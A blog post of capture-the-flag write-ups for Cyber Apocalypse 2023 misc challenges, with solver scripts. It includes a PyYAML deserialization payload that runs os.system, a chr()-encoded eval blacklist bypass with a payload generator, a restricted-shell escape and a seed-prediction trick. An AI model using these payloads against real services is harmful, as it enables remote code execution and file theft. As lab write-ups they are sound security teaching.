CA 2023 Misc Challenges

23 March 2023 #CTF #HTB #CA-2023 #chall #misc

Cyber Apocalypse 2023

Persistence [very easy]

The description of the challenge mentions that if we send 1000 GET requests to /flag, we might get it.

Let's do just that, with a python script:

#!/usr/bin/python3

import requests

with requests.Session() as s:
    n = 1
    while True:
        r = s.get('http://142.93.35.133:31086/flag')
        print(f'\rsent {n} requests', end='')
        if r.text.startswith('HTB{'):
            print(f'\nfound flag: {r.text}')
            break
        n += 1

I use Session() to make the script a bit faster (it reuses the TCP connection, etc).

$ ./brute.py
sent 361 requests
found flag: HTB{y0u_h4v3_p0w3rfuL_sCr1pt1ng_ab1lit13S!}

shell version:

#!/bin/sh

n=1
while true; do
    printf '\rsent %d requests' "$n"
    out=$(curl -s 142.93.35.133:31086/flag)
    case "$out" in
        HTB*) printf '\nfound flag: %s\n' "$out" && break
    esac
    n=$((n+1))
done

Hijack [easy]

After connecting to the instance, we have a menu:

$ nc 167.71.143.44 31421

<------[TCS]------>
[1] Create config
[2] Load config
[3] Exit
>

The first option allows us to generate a (base64 encoded) YAML serialized python object. With the second option we can deserialize it.

We can just create our own serialized object that will get us code execution when deserialized:

#!/usr/bin/python3

import yaml
from base64 import b64encode
import os

class Payload(object):
    def __reduce__(self):
        return (os.system,('cat flag.txt',))

deserialized_data = yaml.dump(Payload()).encode()
print(b64encode(deserialized_data).decode())

Now just load it and get the flag:

Serialized config to load: ISFweXRob24vb2JqZWN0L2FwcGx5OnBvc2l4LnN5c3RlbQotIGNhdCBmbGFnLnR4dAo=
HTB{1s_1t_ju5t_m3_0r_iS_1t_g3tTing_h0t_1n_h3r3?}
** Success **
Uploading to ship...

Restricted [easy]

For this challenge, there are files available. By reading through them we know that we should connect to the challenge instance via SSH (no password).

Once logged in, we are in a restricted bash shell. We can't use any external command like ls:

$ ssh restricted@104.248.169.117 -p 30502
[...]
restricted@ng-restricted-vd9rb-f67cd9cd8-gcbk2:~$ ls
-rbash: ls: command not found

The reason we can't is because the PATH variable is set to ~/.bin (which is empty).

We can't modify the PATH, neither use absolute paths:

restricted@ng-restricted-vd9rb-f67cd9cd8-gcbk2:~$ export PATH=/bin
-rbash: PATH: readonly variable
restricted@ng-restricted-vd9rb-f67cd9cd8-gcbk2:~$ /bin/ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names

Since our goal is to read the flag, we can just use shell builtins to read and print it:

restricted@ng-restricted-vd9rb-f67cd9cd8-gcbk2:~$ while read flag; do echo $flag; done < /flag*
HTB{r35tr1ct10n5_4r3_p0w3r1355}

Remote Computation [easy]

For this challenge, the instance will send us a bunch of expressions to compute. The rules are as follows:

$ nc 161.35.168.118 32646
[-MENU-]
[1] Start
[2] Help
[3] Exit
> 2

Results
---
All results are rounded
to 2 digits after the point.
ex. 9.5752 -> 9.58

Error Codes
---
* Divide by 0:
This may be alien technology,
but dividing by zero is still an error!
Expected response: DIV0_ERR

* Syntax Error
Invalid expressions due syntax errors.
ex. 3 +* 4 = ?
Expected response: SYNTAX_ERR

* Memory Error
The remote machine is blazingly fast,
but its architecture cannot represent any result
outside the range -1337.00 <= RESULT <= 1337.00
Expected response: MEM_ERR

It's easy to implement in python, by eval()ing the parsed expression and sending back the result. We can catch exceptions like a division by zero or a syntax error and send the relevant message.

Here is the (shitty) solver:

#!/usr/bin/python3

import socket

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.connect(('161.35.168.118', 32646))

    # start computation
    data = sock.recv(1024)
    sock.sendall(b'1\n')

    flag = None
    while not flag:
        data = sock.recv(1024).decode()
        lines = data.split('\n')
        for line in lines:
            if 'HTB{' in line:
                flag = line
                break
            # this is the line we care about
            # (the one with the expression)
            if line.endswith('= ?'):
                try:
                    # extract expression to compute
                    expr = line[6:-3].strip()
                    print(expr)
                    # eval the expression (and pray no naughty stuff gets sent lolxd)
                    result = str(round(eval(expr), 2))
                    if float(result) > 1337.00 or float(result) < -1337.00:
                        print('MEM_ERR')
                        sock.sendall(b'MEM_ERR\n')
                        break
                    print(result)
                    sock.sendall(result.encode() + b'\n')
                except ZeroDivisionError:
                    print('DIV0_ERR')
                    sock.sendall(b'DIV0_ERR\n')
                except SyntaxError:
                    print('SYNTAX_ERR')
                    sock.sendall(b'SYNTAX_ERR\n')

print(f'\n{flag}')

Execute the script and after 500 calculations, we get the flag:

$ ./solver.py
[...]
MEM_ERR
27 - 29 + 22 * 11 / 28 - 2 + 18 + 24 * 22 * 22 + 26 - 6 + 23
MEM_ERR

[*] Good job! HTB{d1v1d3_bY_Z3r0_3rr0r}

Janken [easy]

For this challenge, we are supposed to win 100 rounds of rock paper scissors to get the flag.

The challenge binary is provided so we can analyze it in ghidra. The most intersting part is in the game() function:

void game() {
    srand(time(NULL));
    rng_num = rand();
    char *moves[3] = { "rock", "scissors", "paper" };
[...]
    char *guru_choice = moves[rng_num % 3];
}

The program will randomly choose a move. However the seed used to generate the random number is predictable (current UNIX timestamp). This means we can guess what move will be played and choose the winning move against it. This also means that every move will be the same for that second.

Here is a (very) small C program that will print the winning move (if both program are launched at the same time).

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main() {
    srand(time(NULL));
    int n = rand();
    char *winning_moves[] = { "paper", "rock", "scissors" };

    puts(winning_moves[n % 3]);
}

Finaly, we need a python script to talk to the challenge instance. It will execute the C program and send the output (winning move).

#!/usr/bin/python3

import socket
import subprocess

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.connect(('139.59.173.68', 30207))

    # start playing
    data = sock.recv(1024)
    sock.sendall(b'1\n')

    data = sock.recv(1024)
    for i in range(100):
        winning_move = subprocess.check_output(['./win'])
        sock.sendall(winning_move)

        data = sock.recv(1024)
        print(data.decode('utf-8'))
        if b'HTB{' in data:
            break

Execute the script and after 100 won round we get the flag:

$ ./solve.py
[...]
[+] You won this round! Congrats!

[+] You are worthy! Here is your prize: HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG}

Nehebkaus Trap [medium]

After connecting to the challenge instance, we can input something:

$ nc 64.227.41.83 32645
    __
   {00}
   \__/
   /^/
  ( (
   \_\_____
   (_______)
  (_________()Ooo.

[ Nehebkau's Trap ]

You are trapped!
Can you escape?
> a

[*] Input accepted!

Error: name 'a' is not defined

This looks a lot like a python error:

$ python -c 'print(a)'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
NameError: name 'a' is not defined

At this point it's pretty safe to assume that our input is passed into eval(). However it's not that easy:

> __import__('os').system('ls')

[!] Blacklisted character(s): ['.', '_', "'"]

Some characters are blacklisted. We can view the full list with print(globals()):

> print(globals())

[*] Input accepted!

[...]'BLACKLIST': ('.', '_', '/', '"', ';', ' ', "'", ',')[...]

We can bypass this blacklist by using another eval() to build a more useful payload:

> eval(chr(112)+chr(114)+chr(105)+chr(110)+chr(116)+chr(40)+chr(34)+chr(95)+chr(95)+chr(104)+chr(101)+chr(104)+chr(101)+chr(95)+chr(95)+chr(34)+chr(41))

[*] Input accepted!

__hehe__

eval() is used to execute all the chr() calls and build a payload with any character we want (in the above case it was print("__hehe__")).

Script to generate payloads (cba doing it by hand):

#!/usr/bin/python3

import sys

payload = 'eval('
for c in sys.argv[1]:
    payload += f'chr({ord(c)})+'

payload = payload[:-1]
print(payload + ')')

Let's generate a payload to get code execution and read the flag:

$ ./gen-payload.py '__import__("os").system("cat flag.txt")'
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(41))

Execute it:

> eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(41))
HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}

[*] Input accepted!

The Chasm's Crossing Conundrum [hard]

By Poubenne

For this challenge, we have to find a way to get everyone across the bridge before the flashlight runs out of battery. Here are the full instructions:

$ nc 178.62.9.10 31464

1. Instructions
2. Play
> 1

☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️
☠️                                                                             ☠️
☠️  [*] The path ahead is treacherous.                                         ☠️
☠️  [*] You have to find a viable strategy to get everyone across safely.      ☠️
☠️  [*] The bridge can hold a maximum of two persons.                          ☠️
☠️  [*] The chasm lurks on either side of the bridge waiting for those         ☠️
☠️      who think they can get across in total darkness.                       ☠️
☠️  [*] If two persons get across, one must come back with the flashlight.     ☠️
☠️  [*] The flashlight has energy only for a limited amount of time.           ☠️
☠️  [*] The time required for two persons to cross, is dictated by the slower. ☠️
☠️  [*] The answer must be given in crossing and returning pairs. For example, ☠️
☠️      [1,2],[2],... . This means that persons 1 and 2 cross and 2 gets back  ☠️
☠️       with the flashlight so others can cross.                              ☠️
☠️                                                                             ☠️
☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️ ☠️

We get the time for each person to cross the bridge when we start the game:

> 2

It's right there! You can see it! You can almost touch it! 💠
Wait...
That bridge is not safe! It's too narrow and old and the chasm is too deep!
The equipment is heavy and if we all cross at once, the bridge will collapse, but you can't leave the relic behind.
Below are the estimates of how long each of us will take to cross the bridge and the charge left for the flashlight.

Person 1 will take 51 minutes to cross the bridge.
Person 2 will take 22 minutes to cross the bridge.
Person 3 will take 87 minutes to cross the bridge.
Person 4 will take 89 minutes to cross the bridge.
Person 5 will take 36 minutes to cross the bridge.
Person 6 will take 92 minutes to cross the bridge.
Person 7 will take 2 minutes to cross the bridge.
Person 8 will take 58 minutes to cross the bridge.
The flashlight has charge for 384 minutes. 🔦

Solve script (by Poubenne):

#!/usr/bin/python3

import sys

def arg2min(l):
    if l[0] <= l[1]:
        a1 = 0
        a2 = 1
    else:
        a1 = 1
        a2 = 0

    for i in range(2,len(l)):
        if l[i]<l[a2]:
            a2 = i
            if l[i]<l[a1]:
                a2=a1
                a1=i

    return a1, a2

def arg2max(l):
    if l[0] >= l[1]:
        a1 = 0
        a2 = 1
    else:
        a1 = 1
        a2 = 0

    for i in range(2,len(l)):
        if l[i]>l[a2]:
            a2 = i
            if l[i]>l[a1]:
                a2=a1
                a1=i
    return a1, a2

def solution(l : list):
    returned = []
    min1,min2 = arg2min(l)
    
    counter = 2

    time = 0
    while len(l)-counter > 1:
        max1, max2 = arg2max(l)

        time += l[min1] + l[max1]
        if 2*l[min2] < l[max2]+l[min1]:
            returned.append([min1+1,min2+1])
            returned.append([min1+1])
            returned.append([max1+1,max2+1])
            returned.append([min2+1])
            time += 2*l[min2]
        else :
            returned.append([max1+1,min1+1])
            returned.append([min1+1])
            returned.append([max2+1,min1+1])
            returned.append([min1+1])
            time += l[max2]+l[min1]

        l[max1] = -1
        l[max2] = -1
        counter+=2

    returned.append([min1+1,min2+1])
    time += l[min2]
    if len(l)%2 == 1:
        l[min2] = -1
        returned.append([min1+1])
        max1, max2 = arg2max(l)
        returned.append([max1+1,max2+1])
    
        time += l[min1] + l[max1]
    
    print("time should be : {}".format(time))


    return returned

if __name__=="__main__":
    print("WASSU WASSU WASSU WASSU WASSUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUP BITCONNECT")
    test = [int(a) for a in sys.argv[1:]]
    print("{} : ".format(test), end="")
    print("{}".format(solution(test)))

Just pass the time for each person to cross the bridge as arguments (in order):

$ ./solve.py 51 22 87 89 36 92 2 58
WASSU WASSU WASSU WASSU WASSUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUP BITCONNECT
[51, 22, 87, 89, 36, 92, 2, 58] : time should be : 384
[[7, 2], [7], [6, 4], [2], [7, 2], [7], [3, 8], [2], [1, 7], [7], [5, 7], [7], [7, 2]]

Submit it:

Enter your strategy:
> [7, 2], [7], [6, 4], [2], [7, 2], [7], [3, 8], [2], [1, 7], [7], [5, 7], [7], [7, 2]
You did it! You saved everyone! 🎉
Oh no, the relic vanished into thin air!
Approaching the point that the relic stood you see a note that reads:
HTB{4cro55_th3_br1dg3_4nd_th3_ch4sm_l13s_th3_tr34sur3}

Thanks to Poubenne for this solve script.